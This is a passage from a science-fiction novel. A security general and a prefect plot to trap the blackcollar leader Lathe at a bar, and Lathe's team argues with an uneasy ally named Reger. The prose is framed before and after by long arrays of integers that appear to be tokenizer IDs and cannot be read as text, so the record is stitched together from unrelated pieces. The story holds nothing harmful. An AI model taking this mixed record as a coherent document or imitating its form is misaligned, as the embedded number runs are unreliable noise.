[ 3438, 5729, 738, 308, 5047, 263, 449, 187, 187, 3, 34571, 273, 534, 2789, 667, 3282, 449, 29051, 11898, 521, 1481, 15, 346, 15168, 2998, 342, 418, 4349, 285, 247, 2120, 2806, 2052, 9388, 2285, 1024, 3192, 271, 1600, 275, 352, 15, 5418, 14641, 1032, 6403, 626, 2779, 281, 8138, 616, 673, 327, 1633, 326, 3548, 626, 2834, 13, 1774, 13, 795, 395, 64, 17887, 449, 187, 187, 1328, 6497, 11561, 13, 285, 7667, 1106, 13465, 1066, 253, 21434, 281, 2378, 969, 5513, 253, 9317, 3212, 271, 34024, 3177, 327, 308, 5047, 263, 15, 21461, 13, 29051, 3589, 626, 11339, 1128, 248, 4571, 626, 452, 28987, 281, 824, 247, 1029, 1899, 604, 344, 369, 1128, 2858, 344, 1871, 816, 347, 4518, 3562, 247, 6255, 2972, 281, 2712, 7667, 1106, 1537, 452, 281, 1333, 13, 1880, 352, 574, 667, 1318, 390, 417, 15, 795, 42, 10095, 626, 452, 1705, 64, 1157, 253, 638, 738, 1869, 49483, 15, 795, 11175, 344, 1871, 452, 2218, 247, 1805, 2628, 273, 436, 604, 344, 8715, 626, 10380, 12759, 352, 715, 521, 1481, 326, 344, 574, 281, 921, 479, 598, 3333, 187, 187, 5872, 969, 13, 5046, 344, 5082, 626, 452, 15, 29051, 369, 13, 846, 512, 13, 24193, 285, 6830, 3861, 16266, 860, 281, 5729, 738, 308, 5047, 263, 13, 285, 308, 5047, 263, 8715, 626, 10903, 7667, 1106, 2057, 347, 247, 637, 273, 1270, 10893, 390, 29701, 339, 15, 187, 187, 1989, 840, 13, 6747, 574, 1142, 273, 253, 9044, 6338, 344, 1871, 1313, 327, 17794, 1309, 418, 4349, 434, 7517, 627, 13, 1633, 344, 1871, 644, 1512, 10000, 387, 253, 673, 281, 4366, 15, 12349, 7667, 1106, 434, 3745, 281, 956, 841, 49515, 17059, 273, 9317, 795, 3529, 64, 2080, 562, 273, 253, 9826, 32, 2207, 812, 352, 320, 326, 29051, 3365, 574, 594, 1199, 3289, 9177, 285, 637, 9177, 387, 521, 23585, 326, 344, 1871, 1620, 3058, 281, 562, 18959, 521, 18062, 32, 187, 187, 3, 510, 7085, 342, 352, 937, 29051, 30807, 13, 10155, 253, 10837, 15, 346, 2512, 434, 642, 1039, 359, 1472, 1469, 281, 4677, 562, 418, 4349, 434, 2098, 275, 673, 13, 594, 359, 1472, 816, 1469, 281, 452, 281, 1379, 779, 562, 273, 253, 2165, 449, 187, 187, 3, 1394, 816, 3597, 326, 937, 7667, 1106, 17328, 779, 15, 187, 187, 3, 6506, 13, 973, 13, 436, 673, 359, 1472, 1469, 281, 513, 352, 987, 449, 380, 2087, 480, 357, 3026, 247, 9185, 275, 7667, 1106, 434, 3884, 15, 346, 1328, 434, 1335, 1694, 281, 755, 281, 20626, 2284, 323, 326, 1618, 273, 22129, 13, 987, 32, 6089, 13, 281, 513, 326, 344, 434, 1694, 281, 3057, 253, 1608, 13183, 2485, 567, 4033, 1128, 395, 672, 344, 1057, 13, 359, 1833, 452, 779, 449, 187, 187, 3, 1276, 13, 897, 247, 4481, 2625, 42330, 865, 7667, 1106, 11898, 521, 1481, 15, 346, 8380, 327, 13, 4214, 1128, 9903, 626, 368, 1158, 418, 4349, 434, 816, 247, 1652, 1512, 7060, 281, 2965, 323, 326, 865, 187, 187, 3, 1276, 2010, 310, 344, 1469, 281, 513, 1128, 2184, 627, 11697, 865, 29051, 851, 7551, 15, 346, 24953, 314, 15, 3105, 846, 752, 597, 7320, 327, 779, 627, 1390, 2360, 449, 187, 187, 3, 28645, 344, 795, 23824, 84, 64, 4130, 281, 1921, 326, 1039, 937, 7667, 1106, 5125, 7808, 15, 346, 1898, 275, 326, 1083, 344, 1537, 513, 816, 326, 449, 187, 187, 3864, 2966, 19925, 13, 247, 6680, 4518, 1469, 327, 3212, 521, 2927, 15, 346, 4497, 1051, 28489, 937, 344, 30245, 387, 1390, 13, 285, 7667, 1106, 812, 3282, 849, 1199, 253, 11341, 369, 45964, 779, 15, 346, 1394, 1158, 309, 943, 1691, 247, 9044, 12045, 251, 1475, 253, 2534, 13, 840, 13, 347, 973, 347, 10711, 253, 4481, 3104, 865, 187, 187, 3, 42, 29708, 1053, 626, 1158, 247, 12045, 251, 651, 789, 13, 8674, 937, 7667, 1106, 753, 15, 346, 1394, 3047, 849, 4354, 344, 3636, 253, 8342, 14, 69, 2079, 5085, 562, 627, 3063, 1128, 11958, 14641, 1032, 452, 247, 694, 471, 323, 6308, 1076, 9044, 10824, 15, 309, 1158, 368, 1871, 513, 1805, 281, 1611, 285, 897, 952, 344, 1833, 320, 16764, 281, 923, 387, 253, 1608, 13183, 2485, 567, 8791, 449, 187, 187, 3, 1779, 543, 285, 2652, 6626, 865, 29051, 7320, 387, 521, 5541, 15, 346, 24015, 272, 15, 2552, 320, 4409, 247, 1611, 1128, 9328, 1871, 5604, 320, 19497, 323, 1529, 3790, 342, 779, 449, 187, 187, 3, 1394, 812, 3997, 247, 9092, 281, 731, 3066, 634, 4151, 254, 326, 418, 4349, 434, 1469, 281, 921, 937, 7667, 1106, 5125, 15, 346, 3726, 3164, 476, 626, 2686, 3523, 779, 13, 533, 597, 778, 320, 2104, 281, 3468, 779, 1066, 2217, 323, 368, 281, 755, 271, 247, 1426, 274, 2120, 273, 10824, 627, 275, 673, 449, 187, 187, 3, 510, 39682, 1912, 626, 751, 326, 629, 937, 29051, 49994, 15, 346, 15168, 2998, 604, 616, 28974, 10111, 403, 13572, 275, 253, 1232, 449, 187, 187, 3, 1394, 10345, 626, 627, 1390, 2360, 937, 7667, 1106, 753, 22072, 314, 15, 346, 3726, 497, 625, 32986, 387, 752, 812, 452, 4592, 281, 616, 1211, 39274, 275, 627, 15, 309, 1053, 626, 1158, 597, 1871, 1056, 625, 685, 10669, 33737, 689, 247, 5547, 3177, 281, 22133, 253, 637, 5506, 323, 253, 3819, 449, 187, 187, 3, 34, 686, 12566, 1020, 8, 3177, 13, 368, 1333, 865, 29051, 753, 342, 5982, 4484, 1255, 15, 346, 4497, 13, 1551, 17839, 13, 7667, 1106, 1128, 2520, 581, 795, 9846, 64, 15229, 973, 320, 5547, 449, 187, 187, 3, 4374, 13, 8674, 449, 7667, 1106, 21374, 13, 247, 5536, 2801, 41203, 281, 16359, 4830, 521, 896, 15, 1198, 247, 7017, 253, 29125, 391, 2094, 875, 779, 285, 29051, 574, 2011, 7871, 273, 11196, 1051, 2858, 1024, 13, 323, 642, 1524, 1921, 13, 597, 497, 8423, 896, 387, 13653, 969, 15, 346, 2042, 309, 476, 513, 2712, 281, 1361, 13, 4214, 12012, 187, 187, 3, 42, 1158, 368, 1849, 2218, 512, 368, 878, 281, 937, 29051, 2624, 779, 745, 15, 346, 1394, 1537, 971, 281, 3523, 407, 253, 4112, 2316, 1996, 13, 2167, 13, 285, 3698, 441, 23806, 634, 2806, 2052, 9388, 389, 15044, 449, 367, 12427, 598, 247, 1304, 13, 253, 2087, 22803, 352, 715, 521, 9414, 15, 187, 187, 27347, 598, 13, 7667, 1106, 12860, 29387, 323, 253, 3369, 15, 187, 187, 3, 1394, 1472, 417, 4092, 937, 3667, 254, 434, 4318, 753, 432, 253, 27084, 15, 187, 187, 45, 4349, 1863, 400, 17371, 275, 521, 6951, 281, 923, 253, 643, 6306, 816, 3304, 253, 3811, 2316, 13, 247, 557, 21002, 1382, 48445, 327, 521, 2454, 15, 187, 187, 3, 1394, 10095, 626, 36129, 598, 327, 952, 751, 326, 937, 253, 389, 15044, 753, 41543, 607, 2920, 13, 2167, 512, 2620, 2806, 14641, 1032, 574, 3735, 253, 643, 434, 2746, 15, 346, 1276, 6403, 626, 359, 4092, 670, 865, 187, 187, 3, 5498, 626, 1132, 15377, 937, 3667, 254, 49994, 15, 346, 1394, 12345, 8773, 432, 247, 9044, 642, 583, 436, 9055, 13, 285, 1024, 368, 1472, 36636, 281, 564, 1691, 634, 9851, 987, 896, 715, 352, 32, 1737, 2238, 273, 247, 11213, 513, 368, 1379, 29051, 323, 13, 8791, 865, 187, 187, 3, 1145, 32505, 26093, 800, 581, 13, 323, 37843, 937, 8229, 19482, 753, 6079, 314, 432, 253, 36591, 6951, 835, 344, 369, 20061, 562, 15, 346, 1779, 1972, 403, 344, 1833, 1921, 352, 4555, 253, 1072, 1039, 368, 816, 858, 13, 326, 359, 1472, 2080, 1512, 17497, 281, 1611, 1633, 326, 11339, 449, 187, 187, 5785, 254, 3802, 7551, 15, 346, 510, 7085, 342, 752, 795, 348, 1972, 403, 64, 1905, 395, 281, 7085, 342, 29051, 13, 323, 326, 2647, 13, 984, 368, 1849, 1694, 247, 15229, 8184, 625, 7596, 685, 816, 779, 15, 309, 1849, 644, 4854, 22441, 14, 78, 276, 1597, 432, 512, 689, 253, 2846, 3063, 689, 752, 368, 3317, 37298, 7320, 1390, 2360, 275, 253, 1608, 13183, 2485, 567, 15, 1422, 564, 896, 627, 285, 20627, 1833, 10913, 634, 39274, 562, 281, 6079, 13, 1223, 253, 6383, 1462, 598, 285, 37977, 449, 187, 187, 3, 688, 6547, 253, 2806, 14641, 1032, 865, 418, 4349, 2546, 38920, 15, 187, 187, 5785, 254, 9377, 745, 13, 285, 1633, 2500, 34005, 275, 521, 19723, 15, 346, 1276, 434, 326, 6326, 281, 1599, 865, 344, 2546, 45254, 15, 187, 187, 3, 4013, 13, 309, 1053, 626, 871, 1128, 6309, 3686, 273, 247, 7827, 37835, 15, 309, 1869, 368, 1537, 971, 281, 5513, 2139, 368, 1849, 9257, 16371, 29570, 253, 6242, 273, 643, 2806, 14641, 1032, 275, 20734, 449, 187, 187, 5785, 254, 369, 11561, 323, 247, 2774, 15, 346, 42, 1912, 626, 20423, 634, 9260, 407, 10242, 272, 690, 16267, 937, 344, 753, 387, 1390, 15, 346, 42, 1904, 626, 3748, 731, 984, 309, 1869, 368, 1537, 8356, 1379, 616, 1930, 273, 1841, 275, 253, 1612, 11182, 1469, 327, 275, 253, 2846, 449, 187, 187, 3, 22674, 1930, 13, 285, 23790, 266, 434, 865, 187, 187, 3, 1394, 1849, 2686, 795, 3899, 64, 44484, 266, 865, 3667, 254, 2546, 13, 11694, 272, 271, 47342, 15, 346, 1276, 434, 344, 751, 865, 187, 187, 3, 2302, 13, 642, 581, 434, 5611, 441, 2568, 449, 418, 4349, 11898, 521, 1481, 15, 346, 5804, 309, 5467, 436, 26438, 2097, 326, 368, 1849, 10090, 667, 18055, 670, 441, 281, 1551, 865, 187, 187, 3, 3404, 253, 2774, 13, 29708, 13, 309, 1053, 626, 1646, 281, 452, 667, 4327, 937, 3667, 254, 8176, 15, 346, 2042, 368, 285, 10246, 10984, 403, 4758, 598, 271, 21184, 15464, 323, 479, 13, 309, 1849, 2568, 281, 923, 949, 352, 15, 20539, 285, 5734, 309, 513, 309, 452, 281, 2997, 390, 12009, 368, 327, 6009, 3815, 449, 187, 187, 3, 37565, 253, 1072, 1899, 359, 1472, 275, 13, 368, 1833, 4366, 937, 418, 4349, 753, 15, 346, 1909, 352, 6569, 13, 309, 452, 642, 8208, 273, 2970, 441, 3206, 275, 634, 3055, 1652, 20746, 955, 13, 327, 10246, 10984, 434, 1930, 390, 3780, 2010, 434, 15, 844, 1472, 1060, 281, 513, 247, 2628, 13, 285, 309, 4751, 18607, 281, 755, 253, 7085, 562, 273, 1060, 2378, 359, 1849, 2218, 352, 15, 20539, 840, 13, 359, 1335, 24186, 368, 247, 41289, 323, 634, 1361, 275, 4560, 330, 6529, 13, 285, 359, 1472, 1469, 281, 1978, 776, 629, 273, 326, 27871, 449, 187, 187, 3, 1898, 604, 352, 7729, 634, 22614, 667, 937, 9221, 4351, 753, 432, 2439, 253, 2316, 13, 346, 664, 3260, 627, 497, 643, 2806, 14641, 1032, 275, 3874, 973, 1078, 359, 10903, 776, 2968, 342, 368, 15, 1422, 760, 795, 24286, 64, 368, 497, 7562, 1491, 432, 441, 13, 285, 359, 1472, 3965, 908, 281, 326, 449, 187, 187, 5785, 254, 11373, 298, 2695, 1356, 314, 15, 346, 8398, 368, 937, 344, 753, 342, 247, 10711, 273, 23649, 4542, 15, 346, 4125, 604, 359, 476, 755, 896, 281, 253, 3236, 2256, 13, 752, 253, 7085, 513, 368, 1158, 368, 476, 14294, 407, 1469, 281, 253, 1608, 13183, 2485, 567, 865, 187, 187, 45, 4349, 22638, 15, 346, 1231, 2525, 20626, 2284, 13, 347, 359, 12316, 15, 844, 4931, 755, 247, 1652, 8003, 281, 253, 2234, 359, 878, 281, 8416, 776, 7517, 13, 581, 1039, 390, 1529, 15, 1244, 604, 253, 8364, 2965, 987, 13, 359, 1537, 1014, 2619, 598, 1529, 25550, 449, 187, 187, 5785, 254, 3802, 7551, 15, 346, 1909, 46808, 347, 611, 1240, 2284, 285, 10246, 10984, 865, 187, 187, 3, 1898, 347, 46808, 347, 368, 937, 418, 4349, 753, 29156, 314, 15, 346, 1394, 476, 1379, 634, 2619, 449, 187, 187, 510, 5662, 637, 46993, 779, 275, 10837, 323, 247, 1048, 2774, 15, 2635, 13, 8577, 13, 344, 1669, 253, 2316, 15, 346, 39312, 273, 247, 1039, 281, 1408, 247, 44703, 937, 8229, 19482, 34688, 15, 187, 187, 3, 8903, 22767, 13, 533, 440, 32993, 26214, 17760, 403, 512, 359, 1472, 2779, 281, 755, 275, 436, 3874, 937, 418, 4349, 753, 15, 1707, 369, 1529, 3174, 10539, 387, 253, 3369, 13, 285, 344, 3531, 281, 923, 330, 6529, 4901, 253, 2316, 15, 346, 2347, 434, 634, 2285, 2509, 865, 344, 2546, 253, 9243, 637, 15, 187, 187, 3, 17613, 272, 937, 330, 6529, 753, 13, 271, 8909, 26370, 275, 521, 4318, 15, 346, 42, 1158, 436, 310, 253, 4389, 383, 597, 1849, 3543, 1580, 359, 17735, 13 ]

former Prefect Trendor." "Neither of which makes any sense." Quinn shook his head. "Especially with Lathe and a full blackcollar team now taking an interest in it. Blackcollars aren't likely to waste their time on something that isn't difficult, important, _and_ feasible." He fell silent, and Galway fought down the urge to once again explain the logic behind an assassination attempt on Trendor. Clearly, Quinn wasn't stupid—he couldn't have risen to such a high position if he was—but he'd just as clearly created a mental block to anything Galway might have to say, whether it had any value or not. _I shouldn't have come_, the prefect thought bitterly. _Maybe he'd have done a better job of this if he hadn't somehow gotten it into his head that he had to show me up._ Then again, maybe he wouldn't have. Quinn was, after all, successor and possibly protégé to Prefect Trendor, and Trendor hadn't struck Galway either as a man of great intellect or finesse. But then, neither had many of the Security officials he'd met on Argent during Lathe's mission there, something he'd been too busy at the time to notice. Was Galway's ability to follow these tangled threads of logic _that_ far out of the ordinary? Or could it be that Quinn simply had so much firepower and manpower at his disposal that he'd never needed to outthink his opponents? "The hell with it," Quinn muttered, breaking the silence. "There's no way we're going to figure out Lathe's plan in time, so we're just going to have to take him out of the game." "You just tried that," Galway reminded him. "Yeah, well, this time we're going to do it right." The general jabbed a finger in Galway's direction. "He's still got to get to Kanai for that list of veterans, right? Well, to do that he's got to contact the Shandygaff Bar—and when he does, we'll have him." "What, use a phone signal tracer?" Galway shook his head. "Come on, General—don't you think Lathe's just a little too smart to fall for that?" "What else is he going to do—go there personally?" Quinn retorted. "Hardly. Not after what they pulled on him there last night." "Unless he _expects_ everyone to reason that way," Galway suggested slowly. "And in that case he might do just that." Quinn paused, a battle clearly going on behind his eyes. "Well...maybe," he conceded at last, and Galway could sense how much the admission was costing him. "You think I should put a Security cordon around the bar, then, as well as trace the phone lines?" "I frankly don't think a cordon would work, sir," Galway said. "You saw how easily he identified the plain-dressed units out there today—blackcollars have a knack for spotting Security troops. I think you'd do better to try and use people he'll be expecting to see at the Shandygaff anyway." "Chong and Briller?" Quinn pulled at his lip. "Interesting. May be worth a try—they'd certainly be keen for another round with him." "You could feed a tip to them via your informer that Lathe's going to show," Galway suggested. "They probably can't actually stop him, but they may be able to slow him down enough for you to get an aircar full of troops there in time." "The bosses won't like that part," Quinn growled. "Especially if their mall stores are damaged in the process." "You weren't there last night," Galway said grimly. "They were more furious at what could have happened to their own skins in there. I don't think they'd make more than token noises over a successful attempt to cage the man responsible for the fight." "A'successful' attempt, you say?" Quinn said with sudden coolness. "Well, rest assured, Galway—this one _will_ damn well be successful." "Yes, sir." Galway sighed, a heavy weight seeming to settle onto his back. For a minute the frustrating rift between him and Quinn had shown signs of closing...but now, for no real reason, they were suddenly back at odds again. "If I can do anything to help, General—" "I think you've done all you need to," Quinn cut him off. "You might want to stop by the situation room later, though, and watch us nail your blackcollar comsquare." Picking up a report, the general slid it into his reader. Getting up, Galway headed silently for the door. "You're not serious," Reger's voice said from the doorway. Lathe swiveled in his chair to see the other standing just inside the living room, a disbelieving frown on his face. "You shouldn't sneak up on people like that," the comsquare said reproachfully, though all five blackcollars had heard the other's approach. "What aren't we serious about?" "Don't play innocent," Reger growled. "You barely escape from a Security noose this afternoon, and now you're proposing to go put your heads right back into it? What kind of a fool do you take Quinn for, anyway?" "An unimaginative one, for starters," Skyler said dryly from the lounge chair where he was stretched out. "Chances are he'll reason it exactly the same way you just did, that we're far too intelligent to try something that stupid." Reger snorted. "The hell with what _chances are_ —and to hell with Quinn, for that matter, because you've got a damn sight more trouble than just him. I've been hearing foam-mouthing from all over the city today over what you dimbos pulled last night in the Shandygaff. You go back there and Nash'll hang your skins out to dry, while the customers stand up and applaud." "Including the blackcollars?" Lathe asked mildly. Reger broke off, and something twitched in his cheek. "What's that supposed to mean?" he asked cautiously. "Oh, I don't know—just sort of a conversation opener. I thought you might want to explain why you've carefully avoided mentioning the existence of other blackcollars in Denver." Reger was silent for a moment. "I won't insult your intelligence by inventing some excuse," he said at last. "I didn't mention them because I thought you might automatically take their side of things in the power struggle going on in the city." "Their side, and Saltan's?" "You've actually _met_ Sartan?" Reger asked, cocking an eyebrow. "What's he like?" "No, no one's introduced us yet." Lathe shook his head. "Can I assume this confession means that you've laid any fears about us to rest?" "At the moment, frankly, I don't seem to have any choice," Reger admitted. "If you and Bernhard are setting up an elaborate trap for me, I've yet to see through it. Until and unless I do I have to accept or reject you on faith alone." "Basically the same position we're in, you'll notice," Lathe said. "As it happens, I have no intention of getting us involved in your private little intrigues, on Bernhard's side or anyone else's. We're here to do a job, and I fully intend to get the hell out of here once we've done it. Until then, we still owe you a fortress for your help in finding Caine, and we're going to keep our part of that bargain." "And if it helps your nerves any," Hawking said from across the room, "we knew there were other blackcollars in town well before we struck our deal with you. You only _thought_ you were keeping information from us, and we're pretty used to that." Reger smiled lopsidedly. "Thank you," he said with a trace of sarcasm. "Now if we can get back to the original subject, what the hell do you think you can accomplish by going to the Shandygaff?" Lathe shrugged. "We meet Kanai, as we promised. We perhaps get a little closer to the key we need to finish our mission, one way or another. And if the cards fall right, we might even pick up another ally." Reger snorted. "As trustworthy as Kahai and Bernhard?" "And as trustworthy as you," Lathe said bluntly. "You can take your pick." The older man eyed him in silence for a long moment. Then, turning, he left the room. "Hell of a way to run a circus," Skyler murmured. "Agreed, but untrustworthy allies are all we're likely to get in this town," Lathe said. There was another footstep at the door, and he turned to see Caine enter the room. "How's your team doing?" he asked the younger man. "Resting," Caine said, an odd stiffness in his voice. "I think this is the safest they've felt since we landed,

[ 884, 63, 23, 13146, 497, 4845, 275, 253, 5170, 9320, 15, 2732, 608, 1897, 13, 253, 34062, 1180, 369, 16042, 15, 5094, 36, 5737, 3532, 21906, 1320, 273, 16011, 275, 34062, 9489, 15, 475, 77, 267, 11, 209, 4526, 16, 12765, 32220, 313, 19, 6806, 884, 63, 21, 13146, 497, 27677, 715, 253, 2406, 9320, 273, 811, 4714, 84, 13, 342, 10399, 15190, 313, 18, 6806, 884, 63, 23, 13146, 4845, 275, 253, 5170, 9320, 15, 10399, 15190, 497, 4127, 342, 884, 14986, 16, 1686, 50130, 8092, 1411, 5274, 14, 23, 13, 5274, 14, 18, 5346, 13, 14857, 14, 2141, 13, 40941, 14, 18, 15978, 13, 275, 5019, 390, 342, 1453, 40523, 443, 387, 1388, 337, 285, 1388, 495, 15, 2732, 608, 1897, 13, 253, 1180, 273, 32220, 369, 16042, 15, 496, 253, 1840, 4679, 13, 941, 497, 4469, 347, 1599, 3279, 7388, 28, 475, 79, 11, 426, 495, 38006, 22, 15, 31713, 49, 11, 4398, 470, 15, 1762, 13, 38710, 49, 11, 4398, 470, 15, 520, 5774, 251, 27678, 1816, 14, 2922, 14, 3832, 15144, 14, 72, 7931, 4253, 39, 24, 94, 187, 187, 38535, 1712, 84, 20, 94, 187, 6428, 187, 187, 31412, 3148, 253, 3745, 281, 28498, 253, 4502, 35962, 13, 3021, 1907, 271, 3486, 327, 4502, 3116, 13, 10005, 285, 16200, 15, 3856, 359, 908, 378, 1036, 22835, 1341, 347, 247, 1566, 281, 7277, 253, 4502, 14, 13382, 5341, 3745, 875, 475, 77, 267, 11, 4526, 16, 12765, 285, 475, 77, 267, 11, 28912, 32220, 13, 285, 281, 7409, 253, 6944, 6297, 3206, 275, 253, 1232, 15, 380, 1246, 1263, 2722, 323, 253, 806, 673, 326, 32220, 342, 418, 1556, 14384, 7168, 253, 3745, 281, 23278, 4502, 3116, 285, 16200, 15, 187, 187, 1147, 556, 644, 2361, 326, 378, 1036, 22835, 1341, 858, 417, 830, 8837, 275, 512, 6679, 280, 3754, 5734, 32220, 497, 820, 14, 249, 6499, 1254, 51, 1166, 1656, 496, 776, 1083, 13, 3738, 1355, 8837, 497, 2540, 275, 512, 6679, 280, 401, 36639, 16, 47, 3754, 342, 378, 1036, 22835, 894, 8829, 13, 672, 378, 1036, 22835, 1341, 497, 6804, 342, 475, 77, 267, 11, 4526, 16, 12765, 32220, 13, 616, 3745, 281, 1756, 285, 31690, 369, 3012, 8655, 313, 2841, 544, 18, 34, 285, 337, 36, 1084, 39, 18, 910, 709, 14, 881, 568, 926, 2536, 1723, 13, 418, 1556, 14384, 10260, 3777, 436, 3745, 273, 32220, 275, 253, 512, 6679, 280, 401, 36639, 16, 47, 6521, 1566, 15, 733, 310, 4722, 326, 475, 77, 267, 11, 28912, 32220, 2761, 4336, 14481, 378, 1036, 16200, 313, 2841, 544, 18, 36, 1084, 39, 18, 910, 709, 14, 881, 568, 926, 2536, 187, 187, 10195, 6297, 452, 644, 4081, 281, 2395, 323, 34062, 14, 11181, 2538, 273, 4502, 1329, 1254, 51, 23, 1656, 6408, 253, 1232, 273, 34062, 14, 11181, 4502, 3116, 13, 32220, 878, 281, 6558, 2176, 894, 17036, 281, 1347, 616, 3470, 15, 1284, 359, 2361, 1078, 13, 418, 1556, 7120, 8967, 9503, 281, 3653, 253, 894, 13742, 275, 1027, 894, 3510, 15, 418, 1556, 14384, 18653, 9489, 285, 21425, 10596, 273, 34763, 23009, 1341, 285, 14335, 1341, 1254, 51, 1012, 1092, 1008, 51, 746, 1656, 496, 271, 7285, 1055, 13, 418, 1556, 14384, 21425, 9489, 285, 14757, 10596, 273, 308, 21420, 1254, 51, 805, 1656, 15397, 281, 308, 21420, 13, 1060, 359, 1304, 326, 253, 6137, 894, 17036, 273, 475, 77, 267, 11, 28912, 32220, 369, 2540, 1309, 475, 249, 7991, 11, 4466, 4679, 15, 1716, 23770, 5954, 13, 247, 2169, 23506, 495, 2425, 369, 2540, 275, 475, 77, 267, 11, 28912, 32220, 685, 326, 275, 475, 77, 267, 11, 4526, 16, 12765, 32220, 13, 11704, 407, 598, 14, 10088, 2048, 273, 253, 23506, 2021, 2758, 285, 253, 354, 14, 38159, 3608, 313, 2841, 544, 19, 1084, 39, 19, 910, 709, 14, 881, 568, 926, 2536, 611, 4213, 377, 1162, 355, 15, 5125, 326, 253, 2559, 4502, 2280, 2540, 672, 32220, 285, 4502, 1341, 497, 820, 14, 249, 6499, 476, 320, 2905, 281, 253, 2559, 9489, 273, 32220, 275, 8837, 1254, 51, 23, 5413, 7809, 326, 34062, 9489, 310, 4619, 281, 4502, 3116, 15, 401, 14124, 1162, 355, 15, 2361, 326, 20384, 273, 427, 19232, 19, 1159, 275, 13657, 32220, 15506, 475, 249, 8427, 11, 4502, 3116, 407, 6297, 326, 2908, 34062, 21750, 1320, 281, 10596, 1254, 51, 938, 5413, 7738, 326, 34062, 10596, 310, 581, 273, 253, 4606, 323, 253, 15506, 4502, 3116, 15, 3813, 13, 253, 6137, 9489, 285, 2559, 10596, 2085, 247, 5122, 407, 534, 475, 77, 267, 11, 28912, 32220, 7168, 616, 17036, 285, 3745, 281, 23278, 4502, 3116, 285, 16200, 15, 187, 187, 8665, 6297, 671, 1132, 1774, 9503, 275, 32220, 281, 23278, 4502, 3116, 15, 32220, 396, 6713, 247, 5235, 273, 3116, 2616, 13, 16011, 285, 32038, 1100, 281, 4833, 4502, 9489, 13, 10346, 13, 285, 28038, 1254, 51, 23, 1656, 4410, 5504, 9066, 285, 15088, 273, 5274, 14, 23, 13, 40941, 14, 18, 285, 5274, 14, 884, 497, 2540, 275, 475, 77, 267, 11, 28912, 32220, 313, 2841, 544, 20, 1084, 39, 20, 910, 709, 14, 881, 568, 926, 2536, 34062, 14, 22882, 264, 5274, 14, 23, 556, 644, 1119, 281, 769, 347, 247, 1061, 317, 7920, 2803, 281, 10265, 5988, 2923, 894, 10346, 1254, 51, 1797, 1656, 15222, 697, 2538, 327, 4502, 1341, 13, 32220, 3746, 403, 671, 253, 2303, 273, 5274, 14, 23, 15, 6166, 253, 4833, 273, 5274, 14, 23, 13, 32220, 476, 4979, 17566, 1341, 285, 452, 37486, 280, 3607, 1254, 51, 1423, 1656, 496, 1635, 13, 5274, 14, 23, 18922, 34062, 8424, 1255, 407, 22474, 9489, 285, 15233, 432, 10596, 15, 6102, 8424, 1255, 14, 41322, 1776, 2538, 407, 5274, 14, 23, 1329, 776, 4342, 273, 253, 6137, 9489, 285, 2559, 10596, 275, 475, 77, 267, 11, 28912, 32220, 313, 2841, 544, 19, 1084, 39, 19, 910, 709, 14, 881, 568, 926, 2536, 40941, 14, 18, 369, 2361, 281, 12454, 5988, 14, 38335, 16200, 407, 27714, 10142, 29649, 1254, 51, 1508, 1656, 5274, 14, 740, 16000, 17566, 1341, 34528, 432, 894, 14, 11181, 7026, 25774, 13, 285, 310, 2330, 342, 4105, 17102, 275, 6769, 2923, 1254, 51, 1348, 1656, 5076, 13, 5274, 14, 23, 13, 40941, 14, 18, 285, 5274, 14, 740, 403, 2905, 281, 253, 32242, 72, 17024, 2538, 273, 32220, 1254, 51, 1099, 1656, 2091, 378, 1036, 22835, 390, 16169, 1341, 497, 4127, 342, 27039, 4646, 432, 475, 77, 267, 11, 28912, 32220, 13, 6137, 9489, 273, 4502, 1341, 369, 2540, 313, 2841, 544, 21, 34, 1084, 39, 21, 910, 709, 14, 881, 568, 926, 9471, 11704, 407, 3777, 5743, 273, 29494, 18, 16, 19, 13, 268, 1839, 13820, 44, 13, 285, 12229, 20, 18695, 7736, 8094, 275, 4502, 1341, 313, 2841, 544, 21, 35, 285, 577, 36, 1084, 39, 21, 910, 709, 14, 881, 568, 926, 2536, 831, 310, 275, 4345, 342, 247, 2045, 1304, 326, 34062, 14, 22882, 264, 5274, 14, 23, 29499, 2923, 894, 10346, 407, 15663, 5743, 273, 32406, 13, 42875, 285, 268, 1839, 13820, 44, 275, 5988, 2923, 1341, 1254, 51, 1797, 1656, 733, 310, 671, 5821, 342, 776, 2045, 1304, 326, 15663, 5743, 273, 12229, 20, 14757, 30248, 275, 253, 6400, 13, 285, 12229, 20, 11029, 347, 247, 28976, 323, 6400, 30248, 275, 7497, 1254, 51, 1010, 1092, 1008, 51, 1036, 1656, 733, 310, 973, 1929, 326, 253, 15450, 10761, 13335, 273, 418, 1556, 5752, 347, 22056, 323, 33002, 7072, 13, 534, 5760, 2048, 273, 5274, 14, 23, 1254, 51, 1731, 1656, 844, 452, 2011, 326, 418, 1556, 15450, 4309, 898, 14, 23435, 2573, 1971, 3012, 13891, 19556, 275, 475, 77, 267, 23286, 3503, 3754, 13, 1690, 4502, 3116, 285, 4502, 11492, 1254, 51, 1630, 1092, 1008, 51, 1619, 1656, 496, 1635, 13, 359, 452, 2361, 326, 10761, 9548, 418, 1556, 16178, 3320, 9464, 273, 42875, 13, 32233, 285, 12229, 20, 1254, 51, 1047, 1092, 1008, 51, 1717, 5413, 534, 1453, 253, 15088, 273, 40941, 14, 18, 285, 5274, 14, 740, 285, 5274, 14, 23, 1254, 51, 1229, 1092, 1008, 51, 2405, 1656, 187, 187, 31412, 7081, 45169, 2538, 13, 534, 11029, 347, 1529, 1774, 5122, 949, 534, 32220, 8591, 4502, 3116, 285, 10005, 15, 43050, 276, 324, 1162, 355, 15, 2361, 326, 253, 45169, 1159, 273, 32220, 3977, 281, 247, 2169, 9364, 273, 22835, 4702, 275, 247, 6521, 1566, 1254, 51, 1166, 1656, 32220, 476, 3587, 15582, 9489, 285, 11490, 253, 1159, 273, 247, 5235, 273, 7026, 1341, 13, 824, 347, 30279, 1341, 13, 308, 285, 378, 21420, 13, 285, 3626, 17830, 1341, 1254, 51, 23, 1656, 2091, 32220, 285, 378, 1036, 22835, 1341, 497, 820, 14, 249, 6499, 715, 4956, 1511, 3754, 13, 627, 369, 642, 3064, 273, 3437, 21, 7433, 308, 1341, 875, 475, 77, 267, 11, 4526, 16, 12765, 285, 475, 77, 267, 11, 28912, 34062, 14, 249, 6499, 3754, 313, 2841, 544, 22, 35, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 2536, 1723, 13, 253, 7155, 273, 3437, 25, 7433, 308, 1341, 369, 2559, 275, 253, 2614, 13, 6400, 285, 26528, 273, 475, 77, 267, 11, 28912, 31014, 14, 249, 6499, 3754, 2429, 342, 475, 77, 267, 11, 4526, 16, 12765, 34062, 14, 249, 6499, 3754, 313, 2841, 544, 22, 